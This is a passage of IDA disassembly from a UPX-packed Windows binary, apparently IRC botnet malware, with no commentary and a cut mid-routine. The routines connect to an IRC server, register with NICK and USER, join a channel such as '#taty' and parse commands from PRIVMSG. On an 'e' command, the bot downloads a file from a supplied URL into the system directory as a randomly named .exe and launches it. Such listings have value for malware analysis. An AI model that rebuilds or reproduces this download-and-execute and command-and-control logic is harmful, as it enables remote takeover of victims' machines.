loc_31502D9A:				; CODE XREF: sub_31502D3C+59j
		and	byte ptr [edi],	0
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_31502D3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_31502DA1	proc near		; CODE XREF: UPX0:3150346Ep
		push	esi
		mov	esi, ecx
		push	20001h
		call	sub_31502800
		mov	[esi+2Ch], eax
		pop	ecx
		mov	eax, esi
		pop	esi
		retn
sub_31502DA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_31502DB6	proc near		; CODE XREF: UPX0:315034CEp
					; UPX0:31503521p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	27h
		push	[esp+8+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	dword_315010A8	; lstrcpynA
		mov	eax, [esp+4+arg_4]
		mov	[esi+58h], eax
		pop	esi
		retn	8
sub_31502DB6	endp

; ---------------------------------------------------------------------------


loc_31502DD4:				; CODE XREF: UPX0:31503AD6j
		push	esi
		mov	esi, ecx
		lea	eax, [esi+4]
		push	eax
		call	sub_31502814
		push	dword ptr [esi+2Ch]
		call	sub_31502814
		pop	ecx
		pop	ecx
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_31502DEC	proc near		; CODE XREF: UPX0:315034ECp
					; UPX0:3150353Fp

var_138		= byte ptr -138h
var_12C		= byte ptr -12Ch
var_128		= byte ptr -128h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 138h
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		push	1
		mov	esi, ecx
		push	2
		call	dword_3150118C	; socket
		mov	[esi+5Ch], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_315019B8
		mov	[esi+64h], eax
		mov	ax, [esi+58h]
		pop	ecx
		lea	edi, [esi+60h]
		push	eax
		mov	word ptr [edi],	2
		call	dword_31501194	; ntohs
		push	10h
		push	edi
		push	dword ptr [esi+5Ch]
		mov	[esi+62h], ax
		call	dword_31501198	; connect
		test	eax, eax
		jnz	loc_31502FF1
		push	ebx
		push	20000h
		push	dword ptr [esi+2Ch]
		push	dword ptr [esi+5Ch]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	loc_31502FF1
		mov	ecx, [esi+2Ch]
		and	[ecx+eax], bl
		push	dword ptr [esi+2Ch]
		mov	ecx, esi
		call	sub_3150302E
		lea	eax, [esp+148h+var_138]
		push	9
		push	eax
		call	sub_31501932
		mov	ebp, dword_3150113C
		lea	eax, [esp+150h+var_138]
		push	eax
		lea	eax, [esp+154h+var_12C]
		push	offset aPassS	; "PASS	%s\r\n"
		push	eax
		call	ebp	; wsprintfA
		mov	edi, dword_315010A4
		add	esp, 14h
		push	64h
		call	edi	; Sleep
		lea	eax, [esp+148h+var_12C]
		push	ebx
		mov	ebx, dword_315010A0
		push	eax
		call	ebx	; lstrlenA
		push	eax
		lea	eax, [esp+14Ch+var_128]
		push	eax
		push	dword ptr [esi+5Ch]
		call	dword_3150119C	; send
		push	[esp+148h+arg_0]
		lea	eax, [esp+14Ch+var_12C]
		push	offset aNickS	; "NICK	%s\r\n"
		push	eax
		call	ebp	; wsprintfA
		add	esp, 0Ch
		push	64h
		call	edi	; Sleep
		lea	eax, [esp+148h+var_12C]
		push	0
		push	eax
		call	ebx	; lstrlenA
		push	eax
		lea	eax, [esp+14Ch+var_128]
		push	eax
		push	dword ptr [esi+5Ch]
		call	dword_3150119C	; send
		push	0
		push	20000h
		push	dword ptr [esi+2Ch]
		push	dword ptr [esi+5Ch]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	loc_31502FF1
		mov	ecx, [esi+2Ch]
		push	64h
		and	byte ptr [ecx+eax], 0
		call	edi	; Sleep


loc_31502F15:				; CODE XREF: sub_31502DEC+1ADj
		push	dword ptr [esi+2Ch]
		mov	ecx, esi
		call	sub_3150302E
		push	offset aAlready	; "already"
		push	dword ptr [esi+2Ch]
		call	dword_31501120	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31502F9E
		push	[esp+148h+arg_4]
		push	[esp+14Ch+arg_0]
		call	sub_31501932
		push	[esp+150h+arg_0]
		lea	eax, [esp+154h+var_12C]
		push	offset aNickS	; "NICK	%s\r\n"
		push	eax
		call	ebp	; wsprintfA
		add	esp, 14h
		push	64h
		call	edi	; Sleep
		lea	eax, [esp+148h+var_12C]
		push	0
		push	eax
		call	ebx	; lstrlenA
		push	eax
		lea	eax, [esp+14Ch+var_128]
		push	eax
		push	dword ptr [esi+5Ch]
		call	dword_3150119C	; send
		push	0
		push	20000h
		push	dword ptr [esi+2Ch]
		push	dword ptr [esi+5Ch]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_31502FF1
		mov	ecx, [esi+2Ch]
		and	byte ptr [ecx+eax], 0
		jmp	loc_31502F15
; ---------------------------------------------------------------------------


loc_31502F9E:				; CODE XREF: sub_31502DEC+145j
		push	[esp+148h+arg_8]
		lea	eax, [esp+14Ch+var_12C]
		push	[esp+14Ch+arg_0]
		push	offset aUserS8S	; "USER	%s 8 * :%s\r\n"
		push	eax
		call	ebp	; wsprintfA
		add	esp, 10h
		push	64h
		call	edi	; Sleep
		xor	edi, edi
		lea	eax, [esp+148h+var_12C]
		push	edi
		push	eax
		call	ebx	; lstrlenA
		push	eax
		lea	eax, [esp+14Ch+var_128]
		push	eax
		push	dword ptr [esi+5Ch]
		call	dword_3150119C	; send
		push	edi
		push	20000h
		push	dword ptr [esi+2Ch]
		push	dword ptr [esi+5Ch]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_31502FFF


loc_31502FF1:				; CODE XREF: sub_31502DEC+4Ej
					; sub_31502DEC+6Bj ...
		push	dword ptr [esi+5Ch]
		call	dword_315011A8	; closesocket
		push	1
		pop	eax
		jmp	short loc_31503021
; ---------------------------------------------------------------------------


loc_31502FFF:				; CODE XREF: sub_31502DEC+203j
		mov	ecx, [esi+2Ch]
		and	byte ptr [ecx+eax], 0
		push	dword ptr [esi+2Ch]
		mov	ecx, esi
		call	sub_3150302E
		mov	[esi+284h], edi
		mov	[esi+7Ch], edi
		mov	[esi+70h], edi
		mov	[esi+74h], edi
		xor	eax, eax


loc_31503021:				; CODE XREF: sub_31502DEC+211j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 138h
		retn	0Ch
sub_31502DEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3150302E	proc near		; CODE XREF: sub_31502DEC+7Cp
					; sub_31502DEC+12Ep ...

var_190		= byte ptr -190h
var_64		= byte ptr -64h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		push	ebx
		push	esi
		push	edi
		push	offset aPing	; "PING"
		push	[ebp+arg_0]
		mov	ebx, ecx
		call	dword_31501120	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_315030A8
		mov	esi, dword_315010A0
		lea	edi, [eax+4]
		push	edi
		call	esi	; lstrlenA
		dec	eax
		cmp	eax, 63h
		jle	short loc_31503067
		push	1
		pop	eax
		jmp	short loc_315030AA
; ---------------------------------------------------------------------------


loc_31503067:				; CODE XREF: sub_3150302E+32j
		push	eax
		lea	eax, [ebp+var_64]
		push	edi
		push	eax
		call	dword_315010A8	; lstrcpynA
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_190]
		push	offset aPongS	; "PONG%s\r\n"
		push	eax
		call	dword_3150113C	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_190]
		push	0
		push	eax
		call	esi	; lstrlenA
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		push	dword ptr [ebx+5Ch]
		call	dword_3150119C	; send


loc_315030A8:				; CODE XREF: sub_3150302E+20j
		xor	eax, eax


loc_315030AA:				; CODE XREF: sub_3150302E+37j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_3150302E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315030B1	proc near		; CODE XREF: UPX0:3150358Dp

var_12C		= byte ptr -12Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12C]
		mov	esi, ecx
		push	offset aJoinS	; "JOIN	%s\r\n"
		push	eax
		call	dword_3150113C	; wsprintfA
		mov	edi, dword_315010A4
		add	esp, 0Ch
		push	64h
		call	edi	; Sleep
		lea	eax, [ebp+var_12C]
		push	0
		push	eax
		call	dword_315010A0	; lstrlenA
		push	eax
		lea	eax, [ebp+var_12C]
		push	eax
		push	dword ptr [esi+5Ch]
		call	dword_3150119C	; send
		push	64h
		call	edi	; Sleep
		push	0
		push	20000h
		push	dword ptr [esi+2Ch]
		push	dword ptr [esi+5Ch]
		call	dword_315011A0	; recv
		mov	ecx, [esi+2Ch]
		mov	[esi], eax
		and	byte ptr [ecx+eax], 0
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_3150317A
		test	eax, eax
		jz	short loc_3150317A
		push	64h
		call	edi	; Sleep
		push	dword ptr [esi+2Ch]
		mov	ecx, esi
		call	sub_3150302E
		mov	edi, dword_31501120
		push	offset a451	; "451"
		push	dword ptr [esi+2Ch]
		call	edi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31503153
		push	3
		jmp	short loc_3150317C
; ---------------------------------------------------------------------------


loc_31503153:				; CODE XREF: sub_315030B1+9Cj
		push	offset aPing	; "PING"
		push	dword ptr [esi+2Ch]
		call	edi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31503167
		push	4
		jmp	short loc_3150317C
; ---------------------------------------------------------------------------


loc_31503167:				; CODE XREF: sub_315030B1+B0j
		push	23h
		add	esi, 30h
		push	[ebp+arg_0]
		push	esi
		call	dword_315010A8	; lstrcpynA
		xor	eax, eax
		jmp	short loc_3150317D
; ---------------------------------------------------------------------------


loc_3150317A:				; CODE XREF: sub_315030B1+74j
					; sub_315030B1+78j
		push	2


loc_3150317C:				; CODE XREF: sub_315030B1+A0j
					; sub_315030B1+B4j
		pop	eax


loc_3150317D:				; CODE XREF: sub_315030B1+C7j
		pop	edi
		pop	esi
		leave
		retn	4
sub_315030B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31503183	proc near		; CODE XREF: sub_315031EC+83p
					; UPX0:315035E9p

var_14C		= byte ptr -14Ch
var_20		= byte ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	esi
		mov	esi, ecx
		call	dword_31501124	; rand
		sub	eax, 3
		and	eax, 7
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_31501932
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14C]
		push	offset aQuitS	; "QUIT	%s\r\n"
		push	eax
		call	dword_3150113C	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_14C]
		push	0
		push	eax
		call	dword_315010A0	; lstrlenA
		push	eax
		lea	eax, [ebp+var_14C]
		push	eax
		push	dword ptr [esi+5Ch]
		call	dword_3150119C	; send
		push	dword ptr [esi+5Ch]
		call	dword_315011A8	; closesocket
		xor	eax, eax
		pop	esi
		leave
		retn
sub_31503183	endp


; =============== S U B	R O U T	I N E =======================================



sub_315031EC	proc near		; CODE XREF: UPX0:315035D1p
		mov	eax, offset loc_31503AC4
		call	sub_31503A98
		sub	esp, 110h
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_315010C8
		mov	esi, ecx
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		call	edi	; GetTickCount
		mov	[ebp-18h], eax
		mov	eax, [esi+5Ch]
		mov	dword ptr [ebp-11Ch], 1
		mov	[ebp-118h], eax
		xor	ebx, ebx


loc_31503227:				; CODE XREF: sub_315031EC+EFj
		call	sub_31501A32
		test	eax, eax
		jz	short loc_31503274
		push	ebx
		push	ebx
		lea	eax, [ebp-11Ch]
		push	ebx
		push	eax
		push	1
		call	dword_31501164	; select
		cmp	eax, 0FFFFFFFFh
		jz	short loc_31503274
		call	sub_31501D82
		test	eax, eax
		jz	short loc_31503258
		push	1
		call	dword_315010E0	; ExitThread


loc_31503258:				; CODE XREF: sub_315031EC+62j
		mov	[ebp-4], ebx
		call	edi	; GetTickCount
		mov	ecx, [ebp+8]
		sub	eax, [ebp-18h]
		imul	ecx, 0EA60h
		cmp	eax, ecx
		jbe	short loc_31503287
		mov	ecx, esi
		call	sub_31503183


loc_31503274:				; CODE XREF: sub_315031EC+42j
					; sub_315031EC+59j ...
		xor	eax, eax


loc_31503276:				; CODE XREF: sub_315031EC+109j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_31503287:				; CODE XREF: sub_315031EC+7Fj
		push	ebx
		push	20000h
		push	dword ptr [esi+2Ch]
		push	dword ptr [esi+5Ch]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_315032F2
		mov	ecx, [esi+2Ch]
		push	64h
		mov	[ecx+eax], bl
		call	dword_315010A4	; Sleep
		push	dword ptr [esi+2Ch]
		mov	ecx, esi
		call	sub_3150302E
		push	dword ptr [esi+2Ch]
		mov	ecx, esi
		call	sub_31503722
		cmp	eax, ebx
		jnz	short loc_31503274
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_31501A32
		test	eax, eax
		jz	short loc_31503274
		push	64h
		call	dword_315010A4	; Sleep
		jmp	loc_31503227
; ---------------------------------------------------------------------------


loc_315032E0:				; DATA XREF: UPX0:31503B3Co
		mov	eax, [ebp-14h]
		push	dword ptr [eax+5Ch]
		call	dword_315011A8	; closesocket
		mov	eax, offset loc_315032F2
		retn
; ---------------------------------------------------------------------------


loc_315032F2:				; CODE XREF: sub_315031EC+B2j
					; DATA XREF: sub_315031EC+100o
		push	1
		pop	eax
		jmp	loc_31503276
sub_315031EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315032FA	proc near		; CODE XREF: sub_31503722+9Cp
					; sub_31503722+2B7p

var_12C		= byte ptr -12Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, dword_315010A0
		push	edi
		push	[ebp+arg_0]
		mov	edi, ecx
		call	esi	; lstrlenA
		push	[ebp+arg_4]
		mov	ebx, eax
		call	esi	; lstrlenA
		add	ebx, eax
		cmp	ebx, 10Eh
		jle	short loc_31503329
		push	1
		pop	eax
		jmp	short loc_3150336A
; ---------------------------------------------------------------------------


loc_31503329:				; CODE XREF: sub_315032FA+28j
		push	[ebp+arg_4]
		lea	eax, [ebp+var_12C]
		push	[ebp+arg_0]
		push	offset aPrivmsgSS ; "PRIVMSG %s	%s\r\n"
		push	eax
		call	dword_3150113C	; wsprintfA
		add	esp, 10h
		push	64h
		call	dword_315010A4	; Sleep
		lea	eax, [ebp+var_12C]
		push	0
		push	eax
		call	esi	; lstrlenA
		push	eax
		lea	eax, [ebp+var_12C]
		push	eax
		push	dword ptr [edi+5Ch]
		call	dword_3150119C	; send
		xor	eax, eax


loc_3150336A:				; CODE XREF: sub_315032FA+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_315032FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31503371	proc near		; CODE XREF: UPX0:31503484p

var_24		= qword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_16		= word ptr -16h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_31501050	; GetSystemTime
		movzx	eax, [ebp+var_1A]
		mov	[ebp+var_4], eax
		push	ecx
		fild	[ebp+var_4]
		push	ecx
		fstp	[esp+24h+var_24]
		call	sub_31503AAA	; atan
		movzx	eax, [ebp+var_16]
		fstp	[ebp+var_C]
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fstp	[esp+24h+var_24]
		call	sub_31503AA4	; sin
		movzx	eax, [ebp+var_1C]
		fmul	[ebp+var_C]
		lea	eax, [eax+eax*2]
		fstp	[ebp+var_C]
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fstp	[esp+24h+var_24]
		call	sub_31503A9E	; cos
		fadd	[ebp+var_C]
		fstp	[ebp+var_C]
		push	dword ptr [ebp+var_C]
		call	dword_31501128	; srand
		mov	eax, [ebp+arg_0]
		push	7
		mov	byte ptr [eax],	23h
		inc	eax
		push	eax
		call	sub_31501932
		push	8
		push	[ebp+arg_4]
		call	sub_31501932
		add	esp, 1Ch
		call	dword_31501124	; rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		call	sub_315018BA
		leave
		retn
sub_31503371	endp

; ---------------------------------------------------------------------------


loc_31503408:				; DATA XREF: sub_31501D96+140o
		mov	eax, offset loc_31503ADB
		call	sub_31503A98
		sub	esp, 2E8h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	ds:dword_315061A4, ebx
		call	sub_315018BA
		mov	esi, dword_31501124
		call	esi	; rand
		push	4
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp-4Ch]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_31501932
		cmp	ds:dword_315061A0, ebx
		mov	edi, dword_3150106C
		pop	ecx
		pop	ecx
		jz	short loc_3150345D
		lea	eax, [ebp-4Ch]
		push	offset a_	; "_"
		push	eax
		call	edi	; lstrcatA


loc_3150345D:				; CODE XREF: UPX0:31503450j
		lea	eax, [ebp-4Ch]
		push	offset a13	; "13"
		push	eax
		call	edi	; lstrcatA
		lea	ecx, [ebp-2F4h]
		call	sub_31502DA1
		mov	[ebp-4], ebx


loc_31503476:				; CODE XREF: UPX0:315035DDj
					; UPX0:31503603j
		push	offset dword_315061A8
		lea	eax, [ebp-18h]
		push	offset dword_315061AC
		push	eax
		call	sub_31503371
		add	esp, 0Ch


loc_3150348C:				; CODE XREF: UPX0:315034A0j
		call	sub_31501A32
		test	eax, eax
		jnz	short loc_315034A2
		push	3E8h
		call	dword_315010A4	; Sleep
		jmp	short loc_3150348C
; ---------------------------------------------------------------------------


loc_315034A2:				; CODE XREF: UPX0:31503493j
		xor	ebx, ebx
		call	esi	; rand
		push	7
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp-6Ch]
		add	edx, 5
		push	edx
		push	eax
		call	sub_31501932
		pop	ecx
		xor	edi, edi
		pop	ecx


loc_315034BD:				; CODE XREF: UPX0:315034F9j
		push	1A0Bh
		lea	ecx, [ebp-2F4h]
		push	off_31505E14
		call	sub_31502DB6
		lea	eax, [ebp-6Ch]
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	dword_315010A0	; lstrlenA
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		lea	ecx, [ebp-2F4h]
		call	sub_31502DEC
		test	eax, eax
		jz	short loc_31503550
		inc	edi
		cmp	edi, 8
		jl	short loc_315034BD
		xor	edi, edi


loc_315034FD:				; CODE XREF: UPX0:3150354Cj
		call	sub_31501A32
		test	eax, eax
		jz	short loc_3150355E
		push	1A0Bh
		call	esi	; rand
		push	13h
		xor	edx, edx
		pop	ecx
		div	ecx
		lea	ecx, [ebp-2F4h]
		push	off_31505E14[edx*4]
		call	sub_31502DB6
		lea	eax, [ebp-6Ch]
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	dword_315010A0	; lstrlenA
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		lea	ecx, [ebp-2F4h]
		call	sub_31502DEC
		test	eax, eax
		jz	short loc_3150355B
		inc	edi
		cmp	edi, 4Ch
		jb	short loc_315034FD
		jmp	short loc_3150355E
; ---------------------------------------------------------------------------


loc_31503550:				; CODE XREF: UPX0:315034F3j
		push	1
		pop	ebx
		mov	ds:dword_315061A4, ebx
		jmp	short loc_31503567
; ---------------------------------------------------------------------------


loc_3150355B:				; CODE XREF: UPX0:31503546j
		push	1
		pop	ebx


loc_3150355E:				; CODE XREF: UPX0:31503504j
					; UPX0:3150354Ej
		cmp	ds:dword_315061A4, 0
		jz	short loc_31503576


loc_31503567:				; CODE XREF: UPX0:31503559j
		lea	eax, [ebp-18h]
		push	offset aTaty	; "#taty"
		push	eax
		call	dword_31501088	; lstrcpyA


loc_31503576:				; CODE XREF: UPX0:31503565j
		test	ebx, ebx
		jz	short loc_315035EE
		call	sub_31501A32
		test	eax, eax
		jz	short loc_315035EE


loc_31503583:				; CODE XREF: UPX0:315035A8j
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-2F4h]
		push	eax
		call	sub_315030B1
		test	eax, eax
		jz	short loc_315035AA
		push	3E8h
		call	dword_315010A4	; Sleep
		call	sub_31501A32
		test	eax, eax
		jnz	short loc_31503583


loc_315035AA:				; CODE XREF: UPX0:31503594j
		cmp	ds:dword_315061A4, 0
		jz	short loc_315035BA
		mov	edx, 0A8C0h
		jmp	short loc_315035CA
; ---------------------------------------------------------------------------


loc_315035BA:				; CODE XREF: UPX0:315035B1j
		call	esi	; rand
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		add	edx, 578h


loc_315035CA:				; CODE XREF: UPX0:315035B8j
		push	edx
		lea	ecx, [ebp-2F4h]
		call	sub_315031EC
		call	sub_31501A32
		test	eax, eax
		jz	loc_31503476
		lea	ecx, [ebp-2F4h]
		call	sub_31503183


loc_315035EE:				; CODE XREF: UPX0:31503578j
					; UPX0:31503581j
		call	esi	; rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		imul	edx, 0EA60h
		push	edx
		call	dword_315010A4	; Sleep
		jmp	loc_31503476

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31503608	proc near		; CODE XREF: sub_31503722+5Ep

var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	1
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_31501154	; InternetOpenA
		mov	ebx, eax
		cmp	ebx, esi
		jnz	short loc_31503633
		push	1
		jmp	loc_315036C9
; ---------------------------------------------------------------------------


loc_31503633:				; CODE XREF: sub_31503608+22j
		lea	eax, [ebp+var_110]
		push	104h
		push	eax
		call	dword_31501068	; GetSystemDirectoryA
		mov	edi, dword_3150106C
		lea	eax, [ebp+var_110]
		push	offset asc_31505CF0 ; "\\"
		push	eax
		call	edi	; lstrcatA
		lea	eax, [ebp+var_110]
		push	6
		push	eax
		call	dword_315010A0	; lstrlenA
		lea	eax, [ebp+eax+var_110]
		push	eax
		call	sub_31501932
		pop	ecx
		lea	eax, [ebp+var_110]
		pop	ecx
		push	offset a_exe	; ".exe"
		push	eax
		call	edi	; lstrcatA
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_110]
		push	40000000h
		push	eax
		call	dword_315010F0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_315036A9
		push	2
		jmp	short loc_315036C9
; ---------------------------------------------------------------------------


loc_315036A9:				; CODE XREF: sub_31503608+9Bj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_0]
		push	ebx
		call	dword_31501150	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jnz	short loc_315036CC
		push	[ebp+var_4]
		call	dword_315010BC	; CloseHandle
		push	3


loc_315036C9:				; CODE XREF: sub_31503608+26j
					; sub_31503608+9Fj
		pop	eax
		jmp	short loc_3150371D
; ---------------------------------------------------------------------------


loc_315036CC:				; CODE XREF: sub_31503608+B4j
		mov	edi, 100000h
		push	edi
		call	sub_31502800
		mov	ebx, eax
		pop	ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	dword_31501158	; InternetReadFile
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		push	[ebp+var_8]
		push	ebx
		push	[ebp+var_4]
		call	dword_3150104C	; WriteFile
		push	[ebp+var_4]
		call	dword_315010BC	; CloseHandle
		lea	eax, [ebp+var_110]
		push	5
		push	eax
		call	sub_31501962
		push	ebx
		call	sub_31502814
		add	esp, 0Ch
		xor	eax, eax


loc_3150371D:				; CODE XREF: sub_31503608+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31503608	endp


; =============== S U B	R O U T	I N E =======================================



sub_31503722	proc near		; CODE XREF: sub_315031EC+D1p

var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_264		= byte ptr -264h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  4

		sub	esp, 2CCh
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset dword_315061AC
		mov	esi, ecx
		push	[esp+2E0h+arg_0]
		call	dword_31501120	; strstr
		mov	edi, dword_315010C8
		pop	ecx
		mov	ebx, eax
		pop	ecx
		mov	[esp+2DCh+var_2CC], ebx
		call	edi	; GetTickCount
		sub	eax, [esi+70h]
		cmp	eax, 927C0h
		jbe	short loc_31503761
		and	dword ptr [esi+284h], 0


loc_31503761:				; CODE XREF: sub_31503722+36j
		cmp	dword ptr [esi+7Ch], 0
		jz	short loc_315037C3
		call	edi	; GetTickCount
		mov	ecx, [esi+78h]
		sub	eax, [esi+74h]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jbe	short loc_315037C3
		lea	eax, [esi+180h]
		push	eax
		call	sub_31503608
		test	eax, eax
		pop	ecx
		jnz	short loc_315037C3
		call	edi	; GetTickCount
		push	dword ptr [esi+78h]
		and	dword ptr [esi+7Ch], 0
		mov	[esi+70h], eax
		lea	eax, [esp+2E0h+var_2C8]
		push	offset a1D	; "-1,%d"
		push	eax
		mov	dword ptr [esi+284h], 1
		call	dword_3150113C	; wsprintfA
		add	esp, 0Ch
		lea	eax, [esp+2DCh+var_2C8]
		mov	ecx, esi
		push	eax
		lea	eax, [esi+30h]
		push	eax
		call	sub_315032FA


loc_315037C3:				; CODE XREF: sub_31503722+43j
					; sub_31503722+55j ...
		test	ebx, ebx
		jz	loc_31503A01
		push	ebx
		call	dword_315010A0	; lstrlenA
		cmp	eax, 0Ah
		jle	loc_31503A01
		mov	ebp, dword_31501110
		add	ebx, 8
		push	7Ch
		push	ebx
		call	ebp	; strchr
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	loc_31503A01
		and	byte ptr [edi],	0
		push	ebx
		call	dword_315010A0	; lstrlenA
		cmp	eax, 100h
		jge	loc_31503A28
		push	ds:dword_315061A8
		lea	eax, [esp+2E0h+var_200]
		push	ebx
		push	eax
		call	sub_31502D3C
		lea	ebx, [edi+1]
		push	7Ch
		push	ebx
		mov	byte ptr [edi],	7Ch
		call	ebp	; strchr
		mov	edi, eax
		add	esp, 14h
		test	edi, edi
		jz	loc_31503A01
		and	byte ptr [edi],	0
		push	ebx
		call	dword_315010A0	; lstrlenA
		cmp	eax, 100h
		jge	loc_31503A28
		push	ds:dword_315061A8
		lea	eax, [esi+180h]
		push	ebx
		push	eax
		call	sub_31502D3C
		add	esp, 0Ch
		lea	eax, [esp+2DCh+var_200]
		push	offset aE	; "e"
		push	eax
		call	dword_31501040	; lstrcmpA
		mov	ebx, dword_31501088
		test	eax, eax
		jnz	loc_31503968
		lea	eax, [esi+180h]
		push	eax
		call	dword_315010A0	; lstrlenA
		cmp	eax, 0FFh
		jge	loc_31503968
		cmp	dword ptr [esi+284h], 0
		jnz	loc_31503968
		cmp	dword ptr [esi+7Ch], 0
		jnz	loc_31503968
		lea	eax, [edi+1]
		push	7Ch
		push	eax
		call	ebp	; strchr
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		pop	ecx
		jz	loc_31503949
		and	byte ptr [ebp+0], 0
		lea	eax, [edi+1]
		push	eax
		call	dword_315010A0	; lstrlenA
		cmp	eax, 100h
		jge	loc_31503A28
		lea	eax, [edi+1]
		push	eax
		lea	eax, [esp+2E0h+var_100]
		push	eax
		call	ebx	; lstrcpyA
		push	[esp+2DCh+var_2CC]
		lea	eax, [esi+80h]
		mov	byte ptr [edi],	7Ch
		push	eax
		call	ebx	; lstrcpyA
		mov	byte ptr [ebp+0], 7Ch
		and	byte ptr [edi],	0
		cmp	[esp+2DCh+var_100], 65h
		jle	short loc_31503956
		lea	eax, [esp+2DCh+var_FF]
		push	eax
		call	dword_315010F8	; atoi
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	short loc_31503956
		cmp	ebp, 0E10h
		jnb	short loc_31503956
		call	dword_31501124	; rand
		xor	edx, edx
		mov	dword ptr [esi+7Ch], 1
		div	ebp
		mov	[esi+78h], edx
		call	dword_315010C8	; GetTickCount
		mov	[esi+74h], eax
		jmp	short loc_31503956
